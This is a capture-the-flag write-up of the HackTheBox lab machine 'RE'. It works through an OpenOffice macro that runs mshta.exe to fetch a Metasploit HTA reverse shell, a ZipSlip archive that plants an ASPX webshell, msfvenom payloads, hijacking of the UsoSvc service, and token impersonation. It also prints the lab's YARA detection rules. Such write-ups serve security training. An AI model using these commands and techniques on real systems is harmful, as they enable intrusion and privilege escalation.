HackTheBox - RE

12 minute read

RE was a fun box created by 0xdf. It started out by creating an .ods document with a malicious macro that would execute once opened, returning a reverse shell which grants you the user flag. You then have to find and exploit a ZipSlip vulnerability in a .ps1 script, this allows you to escalate privileges to iis apppool\reblog. From here you binary plant a vulnerable service to get a NT AUTHORITY\SYSTEM shell and then impersonate an available token which allows you to get root.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.144 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 10.10.10.144

PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Visit reblog.htb
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-09-04 15:56:45
|_  start_date: N/A


HTTP


Browsing to http://10.10.10.144/ will redirect you to http://reblog.htb. Adding reblog.htb to your /etc/hosts is required and allows you to check out the site:


The blog contains some interesting posts, the following excerpt from ods Phishing Attempts caught my eye:

The SOC has been seeing lots of phishing attempts with ods attachements lately. It seems that we’ve got rules in place to detect any run of the mill stuff, including documents that are generated by Metasploit, documents with powershell or cmd invocations.

It then follows up by saying:

If you see any interesting documents that might get past our yara rules, please drop them in the malware dropbox. I’ve got some automated processing that will see if our rules already identify it, and if not, run it to collect some log data and queue it for further analysis.

The Analyzing Document Macros with Yara post hints at what is required to obtain a shell:

If you see any interesting documents that might get past our yara rules, please drop them in the malware dropbox.

It appears Yara is being used to process the .ods files for any suspicious functions/calls and then blocks/removes the file accordingly. This post written by the box author explains document analysis via Yara perfectly.


SMB


Checking out SMB you can see the malware_dropbox share:

# smbmap -u anonymous -H 10.10.10.144                                       
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.144...                         
[+] IP: 10.10.10.144:445        Name: reblog.htb                                          
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
...
        malware_dropbox                                         READ ONLY

The permissions say the share is read only, testing this by uploading an empty .ods file, you’ll notice it is in fact writable:

# smbclient //10.10.10.144/malware_dropbox -U " "%" "
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan 30 05:45:10 2020
  ..                                  D        0  Thu Jan 30 05:45:10 2020

                8247551 blocks of size 4096. 4296294 blocks available
smb: \> put test0.ods 
putting file test0.ods as \test0.ods (137.7 kb/s) (average 137.7 kb/s)
smb: \> ls
  .                                   D        0  Thu Jan 30 05:45:37 2020
  ..                                  D        0  Thu Jan 30 05:45:37 2020
  test0.ods                           A     6908  Thu Jan 30 05:45:37 2020

                8247551 blocks of size 4096. 4296292 blocks available
smb: \>


Malicious Macros


As hinted on the blog, you can create an .ods file with a malicious macro inside in an attempt to bypass the rules and return a reverse shell.

After some trial and error I found mshta.exe can be used to obtain a reverse shell via adding a malicious macro to run when the document opens.

You’ll first need to set up and run the Metasploit hta_server module so you know the URL needed to download and execute the meterpreter shell:

msf5 > use exploit/windows/misc/hta_server

msf5 exploit(windows/misc/hta_server) > set lhost 10.10.14.20
lhost => 10.10.14.20

msf5 exploit(windows/misc/hta_server) > set lport 443
lport => 443

msf5 exploit(windows/misc/hta_server) > set srvhost 10.10.14.20
srvhost => 10.10.14.20


msf5 exploit(windows/misc/hta_server) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.20:444 
[*] Using URL: http://10.10.14.20:8080/RZpLz9.hta
[*] Server started.

You can find the document macro settings like so:


From here you want to select Untitled 1 and then click New:


This will present you with the following page:


You want to add a macro into the right hand side screen with the contents shown below:

REM  *****  BASIC  *****
Sub Run_at_open
Shell("mshta.exe http://10.10.14.20:8080/RZpLz9.hta")   
End Sub 

Ensure you include the URL string provided by the hta_server metasploit module. With that included it should look like the following:


You then want to save the document and give it a name. Now you want to go back to the Organize Macros tab, select the Run_at_open macro, and then select the Assign... button:


Select the Open Document Event and assign the macro to it:


Once that’s done you should have the macro next to the Open Document event like so:



Reverse Shell


With the macro configured and the .ods file ready, you simply upload the file to the malware dropbox:

# smbclient //10.10.10.144/malware_dropbox -U " "%" "
Try "help" to get a list of possible commands.
smb: \> put shell.ods 
putting file shell.ods as \shell.ods (134.9 kb/s) (average 134.9 kb/s)
smb: \> ls
  .                                   D        0  Thu Jan 30 06:04:44 2020
  ..                                  D        0  Thu Jan 30 06:04:44 2020
  shell.ods                           A     6907  Thu Jan 30 06:04:44 2020

                8247551 blocks of size 4096. 4296168 blocks available
smb: \>

You then just have to wait for your reverse shell:



Flag


With a meterpreter session returned you can type the user flag.

meterpreter > getuid
Server username: RE\luke

meterpreter > sysinfo
Computer        : RE
OS              : Windows 2016 (Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows


C:\Users\luke\Desktop>type user.txt
type user.txt
FE4173...


Yara Rules


In the C:\Users\luke\Documents directory you’ll notice a ods.yara file:

C:\Users\luke\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 4638-2C29

 Directory of C:\Users\luke\Documents

06/18/2019  01:05 PM    <DIR>          .
06/18/2019  01:05 PM    <DIR>          ..
01/30/2020  05:50 AM    <DIR>          malware_dropbox
01/30/2020  05:50 AM    <DIR>          malware_process
01/30/2020  05:50 AM    <DIR>          ods
06/18/2019  09:30 PM             1,096 ods.yara
06/18/2019  09:33 PM             1,783 process_samples.ps1
03/13/2019  05:47 PM         1,485,312 yara64.exe

It has the following contents:

rule metasploit
{
        strings:
                $getos = "select case getGUIType" nocase wide ascii
                        $getext = "select case GetOS" nocase wide ascii
                        $func1 = "Sub OnLoad" nocase wide ascii
                        $func2 = "Sub Exploit" nocase wide ascii
                        $func3 = "Function GetOS() as string" nocase wide ascii
                        $func4 = "Function GetExtName() as string" nocase wide ascii

                condition:
                    (all of ($get*) or 2 of ($func*))
}

rule powershell
{
        strings:
                        $psh1  = "powershell" nocase wide ascii
                        $psh2  = "new-object" nocase wide ascii
                        $psh3  = "net.webclient" nocase wide ascii
                        $psh4  = "downloadstring" nocase wide ascii
                        $psh5  = "downloadfile" nocase wide ascii
                        $psh6  = "iex" nocase wide ascii
                        $psh7  = "-e" nocase wide ascii
                        $psh8  = "iwr" nocase wide ascii
                        $psh9  = "-outfile" nocase wide ascii
                        $psh10 = "invoke-exp" nocase wide ascii

                condition:
                    2 of ($psh*)
}

rule cmd
{
        strings:
                    $cmd1 = "cmd /c" nocase wide ascii
                        $cmd2 = "cmd /k" nocase wide ascii
                condition:
            any of ($cmd*)
}

The yara rules, as described on the blog site, were filtering for common Powershell/Metasploit reverse shell/payload strings and functions.

If you break down some metaspoilt .ods file payloads you’ll see the specific Sub OnLoad and Sub Exploit names used. It was interesting to see how the Yara rules had been configured in this particular instance.

An interesting paper linked on reblog.htb by Fireeye included some neat ways in which obfuscated PowerShell commands can be used to bypass similar Yara-esque rules.


Root.txt

process_samples.ps1


The C:\Users\luke\Documents\ directory contains a powershell script called process_samples.ps1. The contents of the file is shown below:

$process_dir = "C:\Users\luke\Documents\malware_process"                                                                                                                    
$files_to_analyze = "C:\Users\luke\Documents\ods"                                                                                                                           
$yara = "C:\Users\luke\Documents\yara64.exe"                                                                                                                                
$rule = "C:\Users\luke\Documents\ods.yara"                                                                                                                                  
                                                                                                                                                                            
while($true) {                                                                                                                                                              
        # Get new samples                                                                                                                                                   
        move C:\Users\luke\Documents\malware_dropbox\* $process_dir                                                                                                         
                                    
        # copy each ods to zip file
        Get-ChildItem $process_dir -Filter *.ods |
        Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"}

        Get-ChildItem $process_dir -Filter *.zip | ForEach-Object {

                # unzip archive to get access to content
                $unzipdir = Join-Path $_.directory $_.Basename
                New-Item -Force -ItemType directory -Path $unzipdir | Out-Null
                Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir

                # yara to look for known malware
                $yara_out = & $yara -r $rule $unzipdir
                $ods_name = $_.fullname -replace ".zip", ".ods"
                if ($yara_out.length -gt 0) {
                        Remove-Item $ods_name
                }
        }


        # if any ods files left, make sure they launch, and then archive:
        $files = ls $process_dir\*.ods
        if ( $files.length -gt 0) {
                # launch ods files
                Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods"
                Start-Sleep -s 5

                # kill open office, sleep
                Stop-Process -Name soffice*
                Start-Sleep -s 5

                #& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null
                Compress-Archive -Path "$process_dir\*.ods" -DestinationPath "$process_dir\temp.zip"
                $hash = (Get-FileHash -Algorithm MD5 $process_dir\temp.zip).hash
                # Upstream processing may expect rars. Rename to .rar
                Move-Item -Force -Path $process_dir\temp.zip -Destination $files_to_analyze\$hash.rar
        }

        Remove-Item -Recurse -force -Path $process_dir\*
        Start-Sleep -s 5

The code is vulnerable to what’s commonly referred to as the ZipSlip vulnerability.

By creating a .zip or in this case a .rar file using a path like ../../../../../../../../inetpub/wwwroot/out.apsx compressed inside would, once extracted, write the contents of out.aspx to the C:\inetpub\wwwroot\ directory of the host.

For RE, this allows you to write a webshell to the web root. The following tools can be used to create malicious .zip and .rar archives:

It’s worth noting you can create them manually as well.


ZipSlip


I created a .zip manually, the tools mentioned in the previous section work perfectly fine as well. In the case of RE, you can see the blog directory in C:\inetpub\wwwroot\:

C:\inetpub\wwwroot>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 4638-2C29

 Directory of C:\inetpub\wwwroot

03/15/2019  03:10 AM    <DIR>          .
03/15/2019  03:10 AM    <DIR>          ..
03/26/2019  04:58 PM    <DIR>          blog
03/27/2019  01:10 PM    <DIR>          ip
06/18/2019  09:18 PM    <DIR>          re

You can then create the same directory structure in Kali, mirroring the absolute path:

root@kali:/# mkdir inetpub && cd inetpub/
root@kali:/inetpub# mkdir wwwroot && cd wwwroot/
root@kali:/inetpub/wwwroot# mkdir blog && cd blog/

Include the cmdasp.aspx webshell from /usr/share/webshells/aspx/ into the newly created /inetpub/wwwroot/blog/ directory:

root@kali:/inetpub/wwwroot/blog# cp /usr/share/webshells/aspx/cmdasp.aspx . 
root@kali:/inetpub/wwwroot/blog# zip webshell.zip ../../../../../../../../inetpub/wwwroot/blog/cmdasp.aspx 
  adding: ../../../../../../../../inetpub/wwwroot/blog/cmdasp.aspx (deflated 48%)

This adds the cmdasp.aspx file to the archive with the path ../../../../../../../../inetpub/wwwroot/blog/cmdasp.aspx.

You then have to upload the generated .zip file to the C:\users\luke\documents\ods\ directory with a .rar file extension:

meterpreter > upload /inetpub/wwwroot/blog/webshell.zip webshell.rar
[*] uploading  : /inetpub/wwwroot/blog/webshell.zip -> webshell.rar
[*] Uploaded 985.00 B of 985.00 B (100.0%): /inetpub/wwwroot/blog/webshell.zip -> webshell.rar
[*] uploaded   : /inetpub/wwwroot/blog/webshell.zip -> webshell.rar
meterpreter > ls
Listing: C:\users\luke\documents\ods
====================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  985   fil   2020-01-30 09:12:28 -0500  webshell.rar

If all has gone to plan the PowerShell script will process the file and you should be able to access the webshell at http://reblog.htb/cmdasp.aspx.


Web Shell


You can see cmdasp.aspx was extracted to the web root and is accessible on reblog.htb:



Web Shell to Meterpreter


I generated and uploaded a meterpreter shell to C:\programdata\root.exe:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f exe > root.exe

meterpreter > pwd
C:\programdata
meterpreter > upload /root/root.exe 
[*] uploading  : /root/root.exe -> root.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /root/root.exe -> root.exe
[*] uploaded   : /root/root.exe -> root.exe

I then executed it through the webshell:

This sent me a shell as iis apppool\reblog:



PowerUp.ps1


The iis apppool\reblog permissions were pretty lax, so I uploaded and ran PowerUp.ps1:

meterpreter > pwd
c:\programdata
meterpreter > upload /root/PrivEsc/Windows/PowerUp.ps1
[*] uploading  : /root/PrivEsc/Windows/PowerUp.ps1 -> PowerUp.ps1
[*] Uploaded 479.23 KiB of 479.23 KiB (100.0%): /root/PrivEsc/Windows/PowerUp.ps1 -> PowerUp.ps1
[*] uploaded   : /root/PrivEsc/Windows/PowerUp.ps1 -> PowerUp.ps1

Running Invoke-AllChecks identified a vulnerable service:

c:\programdata>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\programdata> Import-Module .\PowerUp.ps1
Import-Module .\PowerUp.ps1
PS C:\programdata> Invoke-AllChecks
Invoke-AllChecks                  

[*] Running Invoke-AllChecks
...
[*] Checking service permissions...                    
[*] Use 'Invoke-ServiceUserAdd -ServiceName SVC' or 'Invoke-ServiceCMD' to abuse 

[+] Vulnerable service: UsoSvc - C:\Windows\system32\svchost.exe -k netsvcs -p

The UsoSvc service appears to be vulnerable to binary planting.


UsoSvc Binary Planting


Checking the permissions of usosvc you can see the BINARY_PATH_NAME for the service:

c:\programdata>sc qc usosvc
sc qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k netsvcs -p
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

You can change the BINARY_PATH_NAME to point to a file of your choosing. I chose to generate and upload another msfvenom executable and assign the path to its location:

c:\programdata>sc config usosvc binPath="C:\programdata\root2.exe" 
sc config usosvc binPath="C:\programdata\root2.exe"
[SC] ChangeServiceConfig SUCCESS

You then stop the service, and on the next start it will execute the root2.exe and send you another reverse shell:

c:\programdata>sc stop usosvc
sc stop usosvc

SERVICE_NAME: usosvc 
        TYPE               : 20  WIN32_SHARE_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x3
        WAIT_HINT          : 0x7530

c:\programdata>sc start usosvc
sc start usosvc

The shell dies fairly quick so I had to run post/windows/manage/migrate before it died:

meterpreter > run post/windows/manage/migrate 

[*] Running module against RE
[*] Current server process: root2.exe (3936)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1424
[+] Successfully migrated to process 1424
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


Flag?


You’ll notice if you go to type the flag you get an Access is denied message:

C:\Users\Administrator\Desktop>type root.txt
type root.txt
Access is denied.

Running icacls on root.txt displays the following permissions:

C:\Users\Administrator\Desktop>icacls root.txt
icacls root.txt
root.txt NT AUTHORITY\SYSTEM:(I)(F)
         BUILTIN\Administrators:(I)(F)
         RE\Administrator:(I)(F)
         RE\coby:(I)(F)

Although NT AUTHORITY\SYSTEM has F (Full) privileges we clearly can’t read the file. However, coby and Administrator appear to have Full privileges as well.


Cipher


Running cipher /c on root.txt displays information on the encrypted file:

C:\Users\Administrator\Desktop>cipher /c root.txt
cipher /c root.txt

 Listing C:\Users\Administrator\Desktop\
 New files added to this directory will not be encrypted.

E root.txt
  Compatibility Level:
    Windows XP/Server 2003

  Users who can decrypt:
    RE\Administrator [Administrator(Administrator@RE)]
    Certificate thumbprint: E088 5900 BE20 19BE 6224 E5DE 3D97 E3B4 FD91 C95D 

    coby(coby@RE)
    Certificate thumbprint: 415E E454 C45D 576D 59C9 A0C3 9F87 C010 5A82 87E0 

  No recovery certificate found.

  Key information cannot be retrieved.

The specified file could not be decrypted.

You can see the Administrator and coby users are the only ones who are allowed to decrypt the file.


Incognito


The incognito module can be used from within meterpreter. This module allows you to list and impersonate user tokens for the current session.

You first have to load the incognito module, then you are able to list the available tokens with the list_tokens -u command:

meterpreter > use incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
IIS APPPOOL\ip
IIS APPPOOL\REblog
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
RE\cam
RE\coby
RE\luke
Window Manager\DWM-1

Impersonation Tokens Available
========================================
No tokens available

Impersonating the coby users token grants us a shell and his associated privileges:

meterpreter > impersonate_token RE\\coby
[+] Delegation token available
[+] Successfully impersonated user RE\coby
meterpreter > getuid
Server username: RE\coby


Flag


Once the token is impersonated, running type on the flag is successful and you get root.

meterpreter > getuid
Server username: RE\coby
meterpreter > cat C:\\users\\administrator\\desktop\\root.txt
1B4FB9...